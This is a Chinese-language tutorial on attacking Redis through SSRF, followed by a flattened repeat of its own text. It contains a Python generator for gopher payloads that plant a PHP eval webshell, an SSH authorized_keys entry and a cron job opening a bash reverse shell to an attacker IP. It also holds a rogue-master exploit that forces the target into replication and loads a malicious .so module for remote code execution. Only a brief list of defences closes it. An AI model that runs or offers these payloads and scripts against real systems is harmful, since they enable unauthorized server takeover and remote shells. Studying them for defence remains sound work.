浅析Redis中SSRF的利用
字数 1779 2025-08-10 08:28:30

Redis中SSRF漏洞利用深度分析

一、SSRF与Redis基础

1.1 SSRF简介

SSRF(Server-Side Request Forgery)即服务器端请求伪造,是由攻击者构造的漏洞,用于形成由服务器发起的请求。攻击目标通常是外部网络无法访问的内部系统。

1.2 Redis RESP协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信:

  • 简单字符串:以+开头
  • 错误:以-开头
  • 整数:以:开头
  • 批量字符串:以$开头
  • 数组:以*开头
  • Null值:使用特殊变体表示
  • 结束符:始终以\r\n(CRLF)结束

示例分析(set name test命令):

*3\r\n$3\r\nset\r\n$4\r\nname\r\n$4\r\ntest\r\n

二、Gopher协议利用

2.1 Gopher协议概述

Gopher协议是HTTP前身,可用于攻击内网的Redis、FTP等服务,支持发送GET/POST请求。

2.2 利用条件

  • Redis服务器未授权访问
  • 或可通过弱口令认证访问

三、Redis SSRF攻击方式

3.1 绝对路径写Webshell

攻击步骤

  1. 清空数据库:flushall
  2. 设置恶意PHP代码:set 1 '<?php eval($_GET["cmd"]);?>'
  3. 设置保存目录:config set dir /var/www/html
  4. 设置文件名:config set dbfilename shell.php
  5. 保存:save

Python转换脚本

import urllib

protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), 
     "config set dir {}".format(path), 
     "config set dbfilename {}".format(filename), 
     "save"]

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

payload=protocol+ip+":"+port+"/_"
for x in cmd:
    payload += urllib.quote(redis_format(x))
print payload

3.2 写SSH公钥

攻击步骤

  1. 清空数据库:flushall
  2. 设置公钥内容:set 1 'ssh-rsa AAAAB3Nza...'
  3. 设置保存目录:config set dir /root/.ssh/
  4. 设置文件名:config set dbfilename authorized_keys
  5. 保存:save

关键修改

filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3Nza...\n\n"
path="/root/.ssh/"

3.3 利用Crontab反弹Shell

限制条件

  • 仅适用于CentOS系统
  • Ubuntu因权限问题(必须600)无法利用
  • 高版本Redis默认以redis权限运行,无法写入

攻击步骤

  1. 清空数据库:flushall
  2. 设置定时任务:set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/IP/PORT 0>&1\n\n'
  3. 设置保存目录:config set dir /var/spool/cron/
  4. 设置文件名:config set dbfilename root
  5. 保存:save

关键修改

reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

四、Redis 4.x/5.x RCE利用

4.1 主从复制机制

  • 全量复制:首次同步时传输完整RDB文件
  • 增量复制:后续同步仅传输变更数据
  • 建立方式
    • 配置文件添加slaveof
    • 启动命令添加--slaveof
    • 客户端执行slaveof

4.2 Redis模块功能

Redis 4.x+支持通过外部模块扩展功能,可动态加载.so文件。

4.3 攻击原理

利用主从复制的全量复制过程,将恶意.so文件传输到目标Redis服务器并加载。

关键步骤

  1. 将目标Redis设置为攻击者控制的"主服务器"的从服务器
  2. 主服务器响应PSYNC命令,返回恶意RDB文件
  3. 从服务器加载恶意.so文件

4.4 攻击流程

  1. 目标Redis执行:SLAVEOF attacker_ip attacker_port
  2. 攻击者服务器响应:
    • +PONG (响应PING)
    • +OK (响应REPLCONF)
    • +FULLRESYNC <runid> <offset> (响应PSYNC)
  3. 传输恶意.so文件
  4. 目标Redis加载模块:MODULE LOAD ./exp.so

4.5 EXP实现

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def RogueServer(lport):
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    
    while True:
        data = clientSock.recv(1024)
        if "PING" in data:
            clientSock.send("+PONG"+CRLF)
        elif "REPLCONF" in data:
            clientSock.send("+OK"+CRLF)
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a"*40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode() + payload + CRLF.encode()
            clientSock.send(result)
            break

if __name__=="__main__":
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    
    redis_sock=socket.socket()
    redis_sock.connect((rhost,rport))
    
    redis_sock.send(redis_format("SLAVEOF 192.168.163.132 6666"))
    redis_sock.send(redis_format("config set dbfilename {}".format(exp_filename)))
    
    time.sleep(2)
    RogueServer(lport)
    
    redis_sock.send(redis_format("MODULE LOAD ./{}".format(exp_filename)))
    # 交互式shell实现...

五、防御措施

  1. 禁用危险命令:修改redis.conf禁用CONFIGMODULE等命令
  2. 网络隔离:Redis服务不暴露在公网
  3. 认证设置:配置强密码认证
  4. 权限控制:以低权限用户运行Redis
  5. 文件权限:严格控制Redis数据目录权限

六、参考资源

  1. Redis主从复制机制详解
  2. Redis模块开发SDK
  3. zeronights 2018演讲PPT《Redis post-exploitation》
Redis中SSRF漏洞利用深度分析 一、SSRF与Redis基础 1.1 SSRF简介 SSRF(Server-Side Request Forgery)即服务器端请求伪造,是由攻击者构造的漏洞,用于形成由服务器发起的请求。攻击目标通常是外部网络无法访问的内部系统。 1.2 Redis RESP协议 Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信: 简单字符串 :以 + 开头 错误 :以 - 开头 整数 :以 : 开头 批量字符串 :以 $ 开头 数组 :以 * 开头 Null值 :使用特殊变体表示 结束符 :始终以 \r\n (CRLF)结束 示例分析( set name test 命令): 二、Gopher协议利用 2.1 Gopher协议概述 Gopher协议是HTTP前身,可用于攻击内网的Redis、FTP等服务,支持发送GET/POST请求。 2.2 利用条件 Redis服务器未授权访问 或可通过弱口令认证访问 三、Redis SSRF攻击方式 3.1 绝对路径写Webshell 攻击步骤 : 清空数据库: flushall 设置恶意PHP代码: set 1 '<?php eval($_GET["cmd"]);?>' 设置保存目录: config set dir /var/www/html 设置文件名: config set dbfilename shell.php 保存: save Python转换脚本 : 3.2 写SSH公钥 攻击步骤 : 清空数据库: flushall 设置公钥内容: set 1 'ssh-rsa AAAAB3Nza...' 设置保存目录: config set dir /root/.ssh/ 设置文件名: config set dbfilename authorized_keys 保存: save 关键修改 : 3.3 利用Crontab反弹Shell 限制条件 : 仅适用于CentOS系统 Ubuntu因权限问题(必须600)无法利用 高版本Redis默认以redis权限运行,无法写入 攻击步骤 : 清空数据库: flushall 设置定时任务: set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/IP/PORT 0>&1\n\n' 设置保存目录: config set dir /var/spool/cron/ 设置文件名: config set dbfilename root 保存: save 关键修改 : 四、Redis 4.x/5.x RCE利用 4.1 主从复制机制 全量复制 :首次同步时传输完整RDB文件 增量复制 :后续同步仅传输变更数据 建立方式 : 配置文件添加 slaveof 启动命令添加 --slaveof 客户端执行 slaveof 4.2 Redis模块功能 Redis 4.x+支持通过外部模块扩展功能,可动态加载.so文件。 4.3 攻击原理 利用主从复制的全量复制过程,将恶意.so文件传输到目标Redis服务器并加载。 关键步骤 : 将目标Redis设置为攻击者控制的"主服务器"的从服务器 主服务器响应PSYNC命令,返回恶意RDB文件 从服务器加载恶意.so文件 4.4 攻击流程 目标Redis执行: SLAVEOF attacker_ip attacker_port 攻击者服务器响应: +PONG (响应PING) +OK (响应REPLCONF) +FULLRESYNC <runid> <offset> (响应PSYNC) 传输恶意.so文件 目标Redis加载模块: MODULE LOAD ./exp.so 4.5 EXP实现 五、防御措施 禁用危险命令:修改redis.conf禁用 CONFIG 、 MODULE 等命令 网络隔离:Redis服务不暴露在公网 认证设置:配置强密码认证 权限控制:以低权限用户运行Redis 文件权限:严格控制Redis数据目录权限 六、参考资源 Redis主从复制机制详解 Redis模块开发SDK zeronights 2018演讲PPT《Redis post-exploitation》